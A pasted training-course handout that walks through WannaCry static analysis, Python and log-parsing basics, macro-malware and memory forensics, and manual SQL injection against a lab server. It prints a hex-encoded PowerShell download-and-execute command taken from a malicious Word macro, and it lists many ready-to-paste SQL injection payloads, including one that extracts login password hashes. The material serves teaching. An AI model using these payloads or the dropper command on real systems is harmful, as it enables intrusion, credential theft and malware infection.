Advertisement
joemccray

Advanced InfoSec

Jan 21st, 2019
1,295
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 97.88 KB | None | 0 0
  1. ############################
  2. # Intro to Static Analysis #
  3. ############################
  4.  
  5. - After logging please open a terminal window and type the following commands:
  6. ---------------------------Type This-----------------------------------
  7. wget http://45.63.104.73/wannacry.zip
  8.  
  9. unzip wannacry.zip
  10. infected
  11.  
  12. file wannacry.exe
  13.  
  14. mv wannacry.exe malware.pdf
  15.  
  16. file malware.pdf
  17.  
  18. mv malware.pdf wannacry.exe
  19.  
  20. hexdump -n 2 -C wannacry.exe
  21.  
  22. -----------------------------------------------------------------------
  23.  
  24.  
  25.  
  26. ***What is '4d 5a' or 'MZ'***
  27. Open a web browswer and take a look at the link below.
  28. http://www.garykessler.net/library/file_sigs.html
  29.  
  30. While on this page use CTRL-F to search for the following:
  31. MX
  32. PDF
  33. XLS
  34.  
  35.  
  36. Look at the hex representation for each file type.
  37.  
  38. This website has the data that is in the header of each file type. This is really important for file analysis.
  39.  
  40.  
  41. ---------------------------Type This-----------------------------------
  42. objdump -x wannacry.exe
  43.  
  44. strings wannacry.exe
  45.  
  46. strings --all wannacry.exe | head -n 6
  47.  
  48. strings wannacry.exe | grep -i dll
  49.  
  50. strings wannacry.exe | grep -i library
  51.  
  52. strings wannacry.exe | grep -i reg
  53.  
  54. strings wannacry.exe | grep -i key
  55.  
  56. strings wannacry.exe | grep -i rsa
  57.  
  58. strings wannacry.exe | grep -i open
  59.  
  60. strings wannacry.exe | grep -i get
  61.  
  62. strings wannacry.exe | grep -i mutex
  63.  
  64. strings wannacry.exe | grep -i irc
  65.  
  66. strings wannacry.exe | grep -i join
  67.  
  68. strings wannacry.exe | grep -i admin
  69.  
  70. strings wannacry.exe | grep -i list
  71.  
  72.  
  73.  
  74. -----------------------------------------------------------------------
  75.  
  76.  
  77.  
  78.  
  79.  
  80.  
  81.  
  82.  
  83. Hmmmmm.......what's the latest thing in the news - oh yeah "WannaCry"
  84.  
  85. Quick Google search for "wannacry ransomeware analysis"
  86.  
  87.  
  88. Reference
  89. https://securingtomorrow.mcafee.com/executive-perspectives/analysis-wannacry-ransomware-outbreak/
  90.  
  91. - Yara Rule -
  92.  
  93.  
  94. Strings:
  95. $s1 = “Ooops, your files have been encrypted!” wide ascii nocase
  96. $s2 = “Wanna Decryptor” wide ascii nocase
  97. $s3 = “.wcry” wide ascii nocase
  98. $s4 = “WANNACRY” wide ascii nocase
  99. $s5 = “WANACRY!” wide ascii nocase
  100. $s7 = “icacls . /grant Everyone:F /T /C /Q” wide ascii nocase
  101.  
  102.  
  103.  
  104.  
  105.  
  106.  
  107.  
  108.  
  109. Ok, let's look for the individual strings
  110.  
  111. ---------------------------Type This-----------------------------------
  112.  
  113. strings wannacry.exe | grep -i ooops
  114.  
  115. strings wannacry.exe | grep -i wanna
  116.  
  117. strings wannacry.exe | grep -i wcry
  118.  
  119. strings wannacry.exe | grep -i wannacry
  120.  
  121. strings wannacry.exe | grep -i wanacry **** Matches $s5, hmmm.....
  122.  
  123.  
  124. -----------------------------------------------------------------------
  125.  
  126.  
  127.  
  128.  
  129.  
  130. ####################################
  131. # Tired of GREP - let's try Python #
  132. ####################################
  133. Decided to make my own script for this kind of stuff in the future. I
  134.  
  135. Reference1:
  136. http://45.63.104.73/analyse_malware.py
  137.  
  138. This is a really good script for the basics of static analysis
  139.  
  140. Reference:
  141. https://joesecurity.org/reports/report-db349b97c37d22f5ea1d1841e3c89eb4.html
  142.  
  143.  
  144. This is really good for showing some good signatures to add to the Python script
  145.  
  146.  
  147. Here is my own script using the signatures (started this yesterday, but still needs work):
  148. https://pastebin.com/guxzCBmP
  149.  
  150.  
  151. ---------------------------Type This-----------------------------------
  152.  
  153.  
  154. sudo apt install -y python-pefile
  155. strategicsec
  156.  
  157.  
  158. wget http://45.63.104.73/analyse_malware.py
  159. wget https://pastebin.com/raw/guxzCBmP
  160.  
  161.  
  162. mv guxzCBmP am.py
  163.  
  164. chmod +x analyse_malware.py
  165. chmod +x am.py
  166.  
  167. python analyse_malware.py
  168. python am.py wannacry.exe
  169.  
  170. nano analyse_malware.py
  171. nano am.py
  172. -----------------------------------------------------------------------
  173.  
  174. ###########################################
  175. # Python Basics Lesson 1: Simple Printing #
  176. ###########################################
  177. ---------------------------Type This-----------------------------------
  178. python
  179.  
  180. >>> print 1
  181.  
  182. >>> print hello
  183.  
  184. >>> print "hello"
  185.  
  186. >>> print "Today we are learning Python."
  187.  
  188.  
  189.  
  190. ###################################################
  191. # Python Basics Lesson 2: Simple Numbers and Math #
  192. ###################################################
  193. ---------------------------Type This-----------------------------------
  194. python
  195.  
  196. >>> 2+2
  197.  
  198. >>> 6-3
  199.  
  200. >>> 18/7
  201.  
  202. >>> 18.0/7
  203.  
  204. >>> 18.0/7.0
  205.  
  206. >>> 18/7
  207.  
  208. >>> 9%4
  209.  
  210. >>> 8%4
  211.  
  212. >>> 8.75%.5
  213.  
  214. >>> 6.*7
  215.  
  216. >>> 6*6*6
  217.  
  218. >>> 6**3
  219.  
  220. >>> 5**12
  221.  
  222. >>> -5**4
  223.  
  224. -----------------------------------------------------------------------
  225.  
  226.  
  227.  
  228.  
  229.  
  230. #####################################
  231. # Python Basics Lesson 3: Variables #
  232. #####################################
  233. ---------------------------Type This-----------------------------------
  234. $ python
  235.  
  236.  
  237. >>> x=18
  238.  
  239. >>> x+15
  240.  
  241. >>> x**3
  242.  
  243. >>> y=54
  244.  
  245. >>> x+y
  246.  
  247. >>> age=input("Enter number here: ")
  248. 43
  249.  
  250. >>> age+32
  251.  
  252. >>> age**3
  253.  
  254. >>> fname = raw_input("Enter your first name: ")
  255.  
  256. >>> lname = raw_input("Enter your first name: ")
  257.  
  258. >>> fname = raw_input("Enter your name: ")
  259. Enter your name: Joe
  260.  
  261. >>> lname = raw_input("Enter your name: ")
  262. Enter your name: McCray
  263.  
  264. >>> print fname
  265. Joe
  266.  
  267. >>> print lname
  268. McCray
  269.  
  270. >>> print fname lname
  271.  
  272. >>> print fname+lname
  273. JoeMcCray
  274.  
  275. >>> exit()
  276. -----------------------------------------------------------------------
  277.  
  278.  
  279. NOTE:
  280. Use "input() for integers and expressions, and use raw_input() when you are dealing with strings.
  281.  
  282.  
  283.  
  284.  
  285.  
  286. #################################################
  287. # Python Basics Lesson 4: Modules and Functions #
  288. #################################################
  289. ---------------------------Type This-----------------------------------
  290. $ python
  291.  
  292. >>> 5**4
  293.  
  294. >>> pow(5,4)
  295.  
  296. >>> abs(-18)
  297.  
  298. >>> abs(5)
  299.  
  300. >>> floor(18.7)
  301.  
  302. >>> import math
  303.  
  304. >>> math.floor(18.7)
  305.  
  306. >>> math.sqrt(81)
  307.  
  308. >>> joe = math.sqrt
  309.  
  310. >>> joe(9)
  311.  
  312. >>> joe=math.floor
  313.  
  314. >>> joe(19.8)
  315.  
  316. >>> exit()
  317. -----------------------------------------------------------------------
  318.  
  319.  
  320.  
  321.  
  322.  
  323.  
  324.  
  325.  
  326. ###################################
  327. # Python Basics Lesson 5: Strings #
  328. ###################################
  329. ---------------------------Type This-----------------------------------
  330. $ python
  331.  
  332. >>> "XSS"
  333.  
  334. >>> 'SQLi'
  335.  
  336. >>> "Joe's a python lover"
  337.  
  338. >>> 'Joe\'s a python lover'
  339.  
  340. >>> "Joe said \"InfoSec is fun\" to me"
  341.  
  342. >>> a = "Joe"
  343.  
  344. >>> b = "McCray"
  345.  
  346. >>> a, b
  347.  
  348. >>> a+b
  349.  
  350. >>> exit()
  351. -----------------------------------------------------------------------
  352.  
  353.  
  354.  
  355.  
  356.  
  357.  
  358.  
  359. ########################################
  360. # Python Basics Lesson 6: More Strings #
  361. ########################################
  362. ---------------------------Type This-----------------------------------
  363. $ python
  364.  
  365.  
  366. >>> num = 10
  367.  
  368. >>> num + 2
  369.  
  370. >>> "The number of open ports found on this system is " + num
  371.  
  372. >>> num = str(18)
  373.  
  374. >>> "There are " + num + " vulnerabilities found in this environment."
  375.  
  376. >>> num2 = 46
  377.  
  378. >>> "As of 08/20/2012, the number of states that enacted the Security Breach Notification Law is " + `num2`
  379.  
  380. >>> exit()
  381. -----------------------------------------------------------------------
  382.  
  383.  
  384. NOTE:
  385. Use "input() for integers and expressions, and use raw_input() when you are dealing with strings.
  386.  
  387.  
  388.  
  389.  
  390.  
  391.  
  392.  
  393. ###############################################
  394. # Python Basics Lesson 7: Sequences and Lists #
  395. ###############################################
  396. ---------------------------Type This-----------------------------------
  397. $ python
  398.  
  399.  
  400. >>> attacks = ['Stack Overflow', 'Heap Overflow', 'Integer Overflow', 'SQL Injection', 'Cross-Site Scripting', 'Remote File Include']
  401.  
  402. >>> attacks
  403. ['Stack Overflow', 'Heap Overflow', 'Integer Overflow', 'SQL Injection', 'Cross-Site Scripting', 'Remote File Include']
  404.  
  405. >>> attacks[3]
  406. 'SQL Injection'
  407.  
  408. >>> attacks[-2]
  409. 'Cross-Site Scripting'
  410.  
  411.  
  412. >>> exit()
  413. -----------------------------------------------------------------------
  414.  
  415.  
  416.  
  417.  
  418. ########################################
  419. # Python Basics Level 8: If Statement #
  420. ########################################
  421. ---------------------------Type This-----------------------------------
  422. $ python
  423.  
  424. >>> attack="SQLI"
  425. >>> if attack=="SQLI":
  426. print 'The attacker is using SQLI'
  427.  
  428. >>> attack="XSS"
  429. >>> if attack=="SQLI":
  430. print 'The attacker is using SQLI'
  431.  
  432.  
  433. >>> exit()
  434. -----------------------------------------------------------------------
  435.  
  436.  
  437.  
  438.  
  439.  
  440.  
  441.  
  442. #####################################
  443. # Lesson 9: Intro to Log Analysis #
  444. #####################################
  445. ---------------------------Type This-----------------------------------
  446. wget http://45.63.104.73/access_log
  447.  
  448. cat access_log | grep 141.101.80.188
  449.  
  450. cat access_log | grep 141.101.80.187
  451.  
  452. cat access_log | grep 108.162.216.204
  453.  
  454. cat access_log | grep 173.245.53.160
  455.  
  456. ---------------------------------------------------------
  457.  
  458. Google the following terms:
  459. - Python read file
  460. - Python read line
  461. - Python read from file
  462.  
  463.  
  464.  
  465.  
  466. ########################################################
  467. # Lesson 10: Use Python to read in a file line by line #
  468. ########################################################
  469.  
  470. Please read the tutorial link below:
  471. http://cmdlinetips.com/2011/08/three-ways-to-read-a-text-file-line-by-line-in-python/
  472.  
  473.  
  474.  
  475.  
  476.  
  477.  
  478. Let's have some fun.....
  479.  
  480. ---------------------------Type This-----------------------------------
  481. $ python
  482.  
  483. >>> f = open('access_log', "r")
  484.  
  485. >>> lines = f.readlines()
  486.  
  487. >>> print lines
  488.  
  489. >>> lines[0]
  490.  
  491. >>> lines[10]
  492.  
  493. >>> lines[50]
  494.  
  495. >>> lines[1000]
  496.  
  497. >>> lines[5000]
  498.  
  499. >>> lines[10000]
  500.  
  501. >>> print len(lines)
  502.  
  503. >>> exit()
  504. -----------------------------------------------------------------------
  505.  
  506.  
  507.  
  508.  
  509.  
  510.  
  511.  
  512. ---------------------------------------------------------
  513. nano logread1.py
  514.  
  515.  
  516. ## Open the file with read only permit
  517. f = open('access_log', "r")
  518.  
  519. ## use readlines to read all lines in the file
  520. ## The variable "lines" is a list containing all lines
  521. lines = f.readlines()
  522.  
  523. print lines
  524.  
  525.  
  526. ## close the file after reading the lines.
  527. f.close()
  528.  
  529. ---------------------------------------------------------
  530.  
  531.  
  532. Google the following:
  533. - python difference between readlines and readline
  534. - python readlines and readline
  535.  
  536.  
  537.  
  538.  
  539.  
  540. #################################
  541. # Lesson 11: A quick challenge #
  542. #################################
  543.  
  544. Can you write an if/then statement that looks for this IP and print "Found it"?
  545.  
  546.  
  547. 141.101.81.187
  548.  
  549.  
  550.  
  551.  
  552.  
  553.  
  554. ---------------------------------------------------------
  555. Hint 1: Use Python to look for a value in a list
  556.  
  557. Reference:
  558. http://www.wellho.net/mouth/1789_Looking-for-a-value-in-a-list-Python.html
  559.  
  560.  
  561.  
  562.  
  563. ---------------------------------------------------------
  564. Hint 2: Use Python to prompt for user input
  565.  
  566. Reference:
  567. http://www.cyberciti.biz/faq/python-raw_input-examples/
  568.  
  569.  
  570.  
  571.  
  572. ---------------------------------------------------------
  573. Hint 3: Use Python to search for a string in a list
  574.  
  575. Reference:
  576. http://stackoverflow.com/questions/4843158/check-if-a-python-list-item-contains-a-string-inside-another-string
  577.  
  578.  
  579.  
  580.  
  581.  
  582. Here is my solution:
  583. -------------------
  584. $ python
  585. >>> f = open('access_log', "r")
  586. >>> lines = f.readlines()
  587. >>> ip = '141.101.81.187'
  588. >>> for string in lines:
  589. ... if ip in string:
  590. ... print(string)
  591.  
  592. >>> exit()
  593. -----------------------------------------------------------------------
  594.  
  595.  
  596.  
  597. Here is one student's solution - can you please explain each line of this code to me?
  598. -------------------------------------------------------------------------------------
  599. #!/usr/bin/python
  600.  
  601. f = open('access_log')
  602.  
  603. strUsrinput = raw_input("Enter IP Address: ")
  604.  
  605. for line in iter(f):
  606. ip = line.split(" - ")[0]
  607. if ip == strUsrinput:
  608. print line
  609.  
  610. f.close()
  611.  
  612.  
  613.  
  614.  
  615. -------------------------------
  616.  
  617. Working with another student after class we came up with another solution:
  618.  
  619. #!/usr/bin/env python
  620.  
  621.  
  622. # This line opens the log file
  623. f=open('access_log',"r")
  624.  
  625. # This line takes each line in the log file and stores it as an element in the list
  626. lines = f.readlines()
  627.  
  628.  
  629. # This lines stores the IP that the user types as a var called userinput
  630. userinput = raw_input("Enter the IP you want to search for: ")
  631.  
  632.  
  633.  
  634. # This combination for loop and nested if statement looks for the IP in the list called lines and prints the entire line if found.
  635. for ip in lines:
  636. if ip.find(userinput) != -1:
  637. print ip
  638.  
  639.  
  640.  
  641. ##################################################
  642. # Lesson 12: Look for web attacks in a log file #
  643. ##################################################
  644.  
  645. In this lab we will be looking at the scan_log.py script and it will scan the server log to find out common hack attempts within your web server log.
  646. Supported attacks:
  647. 1. SQL Injection
  648. 2. Local File Inclusion
  649. 3. Remote File Inclusion
  650. 4. Cross-Site Scripting
  651.  
  652.  
  653.  
  654. wget http://45.63.104.73/scan_log.py
  655.  
  656.  
  657. Your challenge is to use the script you wrote yesterday as a reference to rewrite scan_log.py.
  658.  
  659. I would also like for you to use the FuzzDB (https://github.com/fuzzdb-project/fuzzdb/tree/master/attack) for attack strings.
  660.  
  661.  
  662.  
  663.  
  664. #####################################################
  665. # Analyzing Macro Embedded Malware #
  666. # Reference: #
  667. # https://jon.glass/analyzes-dridex-malware-p1/ #
  668. #####################################################
  669. ---------------------------Type This-----------------------------------
  670. cd ~/Desktop/
  671.  
  672.  
  673. sudo pip install olefile
  674.  
  675.  
  676. mkdir ~/Desktop/oledump
  677.  
  678. cd ~/Desktop/oledump
  679.  
  680. wget http://didierstevens.com/files/software/oledump_V0_0_22.zip
  681.  
  682. unzip oledump_V0_0_22.zip
  683.  
  684. wget http://45.63.104.73/064016.zip
  685.  
  686. unzip 064016.zip
  687. infected
  688.  
  689. python oledump.py 064016.doc
  690.  
  691. python oledump.py 064016.doc -s A4 -v
  692. -----------------------------------------------------------------------
  693.  
  694.  
  695.  
  696. - From this we can see this Word doc contains an embedded file called editdata.mso which contains seven data streams.
  697. - Three of the data streams are flagged as macros: A3:’VBA/Module1′, A4:’VBA/Module2′, A5:’VBA/ThisDocument’.
  698.  
  699. ---------------------------Type This-----------------------------------
  700. python oledump.py 064016.doc -s A5 -v
  701. -----------------------------------------------------------------------
  702.  
  703. - As far as I can tell, VBA/Module2 does absolutely nothing. These are nonsensical functions designed to confuse heuristic scanners.
  704.  
  705. ---------------------------Type This-----------------------------------
  706. python oledump.py 064016.doc -s A3 -v
  707.  
  708. - Look for "GVhkjbjv" and you should see:
  709.  
  710. 636D64202F4B20706F7765727368656C6C2E657865202D457865637574696F6E506F6C69637920627970617373202D6E6F70726F66696C6520284E65772D4F626A6563742053797374656D2E4E65742E576562436C69656E74292E446F776E6C6F616446696C652827687474703A2F2F36322E37362E34312E31352F6173616C742F617373612E657865272C272554454D50255C4A494F696F646668696F49482E63616227293B20657870616E64202554454D50255C4A494F696F646668696F49482E636162202554454D50255C4A494F696F646668696F49482E6578653B207374617274202554454D50255C4A494F696F646668696F49482E6578653B
  711.  
  712. - Take that long blob that starts with 636D and finishes with 653B and paste it in:
  713. http://www.rapidtables.com/convert/number/hex-to-ascii.htm
  714.  
  715.  
  716.  
  717.  
  718.  
  719. Creating a malware database (mysql)
  720. -----------------------------------
  721. - Step 1: Installing MySQL database
  722. - Run the following command in the terminal:
  723. ---------------------------Type This-----------------------------------
  724. sudo apt-get install mysql-server
  725.  
  726.  
  727. - Step 2: Installing Python MySQLdb module
  728. - Run the following command in the terminal:
  729. ---------------------------Type This-----------------------------------
  730. sudo apt-get build-dep python-mysqldb
  731.  
  732.  
  733. sudo apt-get install python-mysqldb
  734.  
  735. -----------------------------------------------------------------------
  736.  
  737. Step 3: Logging in
  738. Run the following command in the terminal:
  739. ---------------------------Type This-----------------------------------
  740. mysql -u root -p (set a password of 'malware')
  741.  
  742. - Then create one database by running following command:
  743. ---------------------------Type This-----------------------------------
  744. create database malware;
  745.  
  746. exit;
  747.  
  748. wget https://raw.githubusercontent.com/dcmorton/MalwareTools/master/mal_to_db.py
  749.  
  750. nano mal_to_db.py (fill in database connection information)
  751.  
  752. python mal_to_db.py -i
  753. -----------------------------------------------------------------------
  754.  
  755. ------- check it to see if the files table was created ------
  756.  
  757. mysql -u root -p
  758. malware
  759.  
  760. show databases;
  761.  
  762. use malware;
  763.  
  764. show tables;
  765.  
  766. describe files;
  767.  
  768. exit;
  769.  
  770. ---------------------------------
  771.  
  772.  
  773. - Now add the malicious file to the DB
  774. ---------------------------Type This-----------------------------------
  775. python mal_to_db.py -f ~/wannacry.exe -u
  776. -----------------------------------------------------------------------
  777.  
  778.  
  779. - Now check to see if it is in the DB
  780. ---------------------------Type This-----------------------------------
  781. mysql -u root -p
  782. malware
  783.  
  784. mysql> use malware;
  785.  
  786. select id,md5,sha1,sha256,time FROM files;
  787.  
  788. mysql> quit;
  789. ------------------------------------------------------------------------
  790.  
  791.  
  792.  
  793.  
  794. #################
  795. # PCAP Analysis #
  796. #################
  797. ---------------------------Type This-----------------------------------
  798. cd ~/Desktop/
  799.  
  800. mkdir suspiciouspcap/
  801.  
  802. cd suspiciouspcap/
  803.  
  804. wget http://45.63.104.73/suspicious-time.pcap
  805.  
  806. wget http://45.63.104.73/chaosreader.pl
  807.  
  808.  
  809. perl chaosreader.pl suspicious-time.pcap
  810.  
  811. firefox index.html
  812.  
  813. cat index.text | grep -v '"' | grep -oE "([0-9]+\.){3}[0-9]+.*\)"
  814.  
  815. cat index.text | grep -v '"' | grep -oE "([0-9]+\.){3}[0-9]+.*\)" | awk '{print $4, $5, $6}' | sort | uniq -c | sort -nr
  816.  
  817.  
  818. for i in session_00[0-9]*.http.html; do srcip=`cat "$i" | grep 'http:\ ' | awk '{print $2}' | cut -d ':' -f1`; dstip=`cat "$i" | grep 'http:\ ' | awk '{print $4}' | cut -d ':' -f1`; host=`cat "$i" | grep 'Host:\ ' | sort -u | sed -e 's/Host:\ //g'`; echo "$srcip --> $dstip = $host"; done | sort -u
  819. ------------------------------------------------------------------------
  820.  
  821.  
  822. ###################
  823. # Memory Analysis #
  824. ###################
  825. ---------------------------Type This-----------------------------------
  826. cd ~/Desktop/
  827.  
  828. sudo apt-get install -y foremost tcpxtract
  829.  
  830. wget http://45.63.104.73/hn_forensics.vmem
  831.  
  832. git clone https://github.com/volatilityfoundation/volatility.git
  833.  
  834. cd volatility
  835. sudo pip install distorm3
  836. sudo python setup.py install
  837. python vol.py -h
  838. python vol.py pslist -f ~/Desktop/hn_forensics.vmem
  839. python vol.py connscan -f ~/Desktop/hn_forensics.vmem
  840. mkdir dump/
  841. mkdir -p output/pdf/
  842. python vol.py -f ~/Desktop/hn_forensics.vmem memdmp -p 888 -D dump/
  843. python vol.py -f ~/Desktop/hn_forensics.vmem memdmp -p 1752 -D dump/
  844. ***Takes a few min***
  845. strings 1752.dmp | grep "^http://" | sort | uniq
  846. strings 1752.dmp | grep "Ahttps://" | uniq -u
  847. cd ..
  848. foremost -i ~/Desktop/volatility/dump/1752.dmp -t pdf -o output/pdf/
  849. cd ~/Desktop/volatility/output/pdf/
  850. cat audit.txt
  851. cd pdf
  852. ls
  853. grep -i javascript *.pdf
  854.  
  855.  
  856.  
  857. cd ~/Desktop/volatility/output/pdf/
  858. wget http://didierstevens.com/files/software/pdf-parser_V0_6_4.zip
  859. unzip pdf-parser_V0_6_4.zip
  860. python pdf-parser.py -s javascript --raw pdf/00601560.pdf
  861. python pdf-parser.py --object 11 00600328.pdf
  862. python pdf-parser.py --object 1054 --raw --filter 00601560.pdf > malicious.js
  863.  
  864. cat malicious.js
  865. -----------------------------------------------------------------------
  866.  
  867.  
  868.  
  869.  
  870. *****Sorry - no time to cover javascript de-obfuscation today*****
  871.  
  872.  
  873.  
  874.  
  875. ---------------------------Type This-----------------------------------
  876. cd ~/Desktop/volatility
  877. mkdir files2/
  878. python vol.py -f ~/Desktop/hn_forensics.vmem dumpfiles -D files2/
  879. python vol.py hivescan -f ~/Desktop/hn_forensics.vmem
  880. python vol.py printkey -o 0xe1526748 -f ~/Desktop/hn_forensics.vmem Microsoft "Windows NT" CurrentVersion Winlogon
  881. -----------------------------------------------------------------------
  882.  
  883.  
  884. ##################################
  885. # Basic: Web Application Testing #
  886. ##################################
  887.  
  888. Most people are going to tell you reference the OWASP Testing guide.
  889. https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents
  890.  
  891. I'm not a fan of it for the purpose of actual testing. It's good for defining the scope of an assessment, and defining attacks, but not very good for actually attacking a website.
  892.  
  893.  
  894. The key to doing a Web App Assessment is to ask yourself the 3 web questions on every page in the site.
  895.  
  896. 1. Does the website talk to a DB?
  897. - Look for parameter passing (ex: site.com/page.php?id=4)
  898. - If yes - try SQL Injection
  899.  
  900. 2. Can I or someone else see what I type?
  901. - If yes - try XSS
  902.  
  903. 3. Does the page reference a file?
  904. - If yes - try LFI/RFI
  905.  
  906. Let's start with some manual testing against 45.77.162.239
  907.  
  908.  
  909. Start here:
  910. ---------------------------Paste this into Firefox-----------------------------------
  911. http://45.77.162.239/
  912. -----------------------------------------------------------------------
  913.  
  914. Let's try throwing a single quote (') in there:
  915. ---------------------------Paste this into Firefox-----------------------------------
  916. http://45.77.162.239/bookdetail.aspx?id=2'
  917. -------------------------------------------------------------------------------------
  918.  
  919. I get the following error:
  920.  
  921. Unclosed quotation mark after the character string ''.
  922. Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.
  923.  
  924. Exception Details: System.Data.SqlClient.SqlException: Unclosed quotation mark after the character string ''.
  925.  
  926.  
  927.  
  928.  
  929.  
  930.  
  931.  
  932.  
  933.  
  934.  
  935. #########################################################################################
  936. # SQL Injection #
  937. # https://s3.amazonaws.com/infosecaddictsfiles/1-Intro_To_SQL_Intection.pptx #
  938. #########################################################################################
  939.  
  940.  
  941. - Another quick way to test for SQLI is to remove the parameter value
  942.  
  943.  
  944. #############################
  945. # Error-Based SQL Injection #
  946. #############################
  947. ---------------------------Paste these one line at a time into Firefox-----------------------------------
  948. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(0))--
  949. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(1))--
  950. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(2))--
  951. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(3))--
  952. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(4))--
  953. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(N))-- NOTE: "N" - just means to keep going until you run out of databases
  954. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85))--
  955. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'bookmaster')--
  956. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'sysdiagrams')--
  957. ---------------------------------------------------------------------------------------------------------
  958.  
  959.  
  960.  
  961.  
  962.  
  963. #############################
  964. # Union-Based SQL Injection #
  965. #############################
  966. ---------------------------Paste these one line at a time into Firefox-----------------------------------
  967. http://45.77.162.239/bookdetail.aspx?id=2 order by 100--
  968. http://45.77.162.239/bookdetail.aspx?id=2 order by 50--
  969. http://45.77.162.239/bookdetail.aspx?id=2 order by 25--
  970. http://45.77.162.239/bookdetail.aspx?id=2 order by 10--
  971. http://45.77.162.239/bookdetail.aspx?id=2 order by 5--
  972. http://45.77.162.239/bookdetail.aspx?id=2 order by 6--
  973. http://45.77.162.239/bookdetail.aspx?id=2 order by 7--
  974. http://45.77.162.239/bookdetail.aspx?id=2 order by 8--
  975. http://45.77.162.239/bookdetail.aspx?id=2 order by 9--
  976. http://45.77.162.239/bookdetail.aspx?id=2 union all select 1,2,3,4,5,6,7,8,9--
  977. ---------------------------------------------------------------------------------------------------------
  978.  
  979. We are using a union select statement because we are joining the developer's query with one of our own.
  980. Reference:
  981. http://www.techonthenet.com/sql/union.php
  982. The SQL UNION operator is used to combine the result sets of 2 or more SELECT statements.
  983. It removes duplicate rows between the various SELECT statements.
  984.  
  985. Each SELECT statement within the UNION must have the same number of fields in the result sets with similar data types.
  986. ---------------------------Paste these one line at a time into Firefox-----------------------------------
  987. http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,2,3,4,5,6,7,8,9--
  988. ---------------------------------------------------------------------------------------------------------
  989. Negating the paramter value (changing the id=2 to id=-2) will force the pages that will echo back data to be displayed.
  990.  
  991. ---------------------------Paste these one line at a time into Firefox-----------------------------------
  992. http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,4,5,6,7,8,9--
  993. http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,7,8,9--
  994. http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,db_name(0),8,9--
  995. http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,master.sys.fn_varbintohexstr(password_hash),8,9 from master.sys.sql_logins--
  996. ---------------------------------------------------------------------------------------------------------
  997.  
  998.  
  999.  
  1000.  
  1001. - Another way is to see if you can get the backend to perform an arithmetic function
  1002. ---------------------------Paste these one line at a time into Firefox-----------------------------------
  1003. http://45.77.162.239/bookdetail.aspx?id=(2)
  1004. http://45.77.162.239/bookdetail.aspx?id=(4-2)
  1005. http://45.77.162.239/bookdetail.aspx?id=(4-1)
  1006. ---------------------------------------------------------------------------------------------------------
  1007.  
  1008. - This is some true/false logic testing
  1009. ---------------------------Paste this into Firefox-----------------------------------
  1010. http://45.77.162.239/bookdetail.aspx?id=2 or 1=1--
  1011. http://45.77.162.239/bookdetail.aspx?id=2 or 1=2--
  1012. http://45.77.162.239/bookdetail.aspx?id=1*1
  1013. http://45.77.162.239/bookdetail.aspx?id=2 or 1 >-1#
  1014. http://45.77.162.239/bookdetail.aspx?id=2 or 1<99#
  1015. http://45.77.162.239/bookdetail.aspx?id=2 or 1<>1#
  1016. http://45.77.162.239/bookdetail.aspx?id=2 or 2 != 3--
  1017. http://45.77.162.239/bookdetail.aspx?id=2 &0#
  1018. -------------------------------------------------------------------------------------
  1019.  
  1020. -- Now that we've seen the differences in the webpage with True/False SQL Injection - let's see what we can learn using it
  1021. ---------------------------Paste this into Firefox-----------------------------------
  1022. http://45.77.162.239/bookdetail.aspx?id=2 and 1=1--
  1023. http://45.77.162.239/bookdetail.aspx?id=2 and 1=2--
  1024. http://45.77.162.239/bookdetail.aspx?id=2 and user='joe' and 1=1--
  1025. http://45.77.162.239/bookdetail.aspx?id=2 and user='dbo' and 1=1--
  1026. ---------------------------------------------------------------------------------------
  1027.  
  1028.  
  1029. ###############################
  1030. # Blind SQL Injection Testing #
  1031. ###############################
  1032. Time-Based BLIND SQL INJECTION - EXTRACT DATABASE USER
  1033.  
  1034. 3 - Total Characters
  1035. ---------------------------Paste these one line at a time into Firefox-----------------------------------
  1036. http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=1) WAITFOR DELAY '00:00:10'--
  1037. http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=2) WAITFOR DELAY '00:00:10'--
  1038. http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=3) WAITFOR DELAY '00:00:10'-- (Ok, the username is 3 chars long - it waited 10 seconds)
  1039. ---------------------------------------------------------------------------------------------------------
  1040.  
  1041. Let's go for a quick check to see if it's DBO
  1042. ---------------------------Paste this into Firefox-----------------------------------
  1043. http://45.77.162.239/bookdetail.aspx?id=2; IF ((USER)='dbo') WAITFOR DELAY '00:00:10'--
  1044. -------------------------------------------------------------------------------------
  1045. Yup, it waited 10 seconds so we know the username is 'dbo' - let's give you the syntax to verify it just for fun.
  1046.  
  1047. D - 1st Character
  1048. ---------------------------Paste these one line at a time into Firefox-----------------------------------
  1049. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=97) WAITFOR DELAY '00:00:10'--
  1050. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=98) WAITFOR DELAY '00:00:10'--
  1051. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=99) WAITFOR DELAY '00:00:10'--
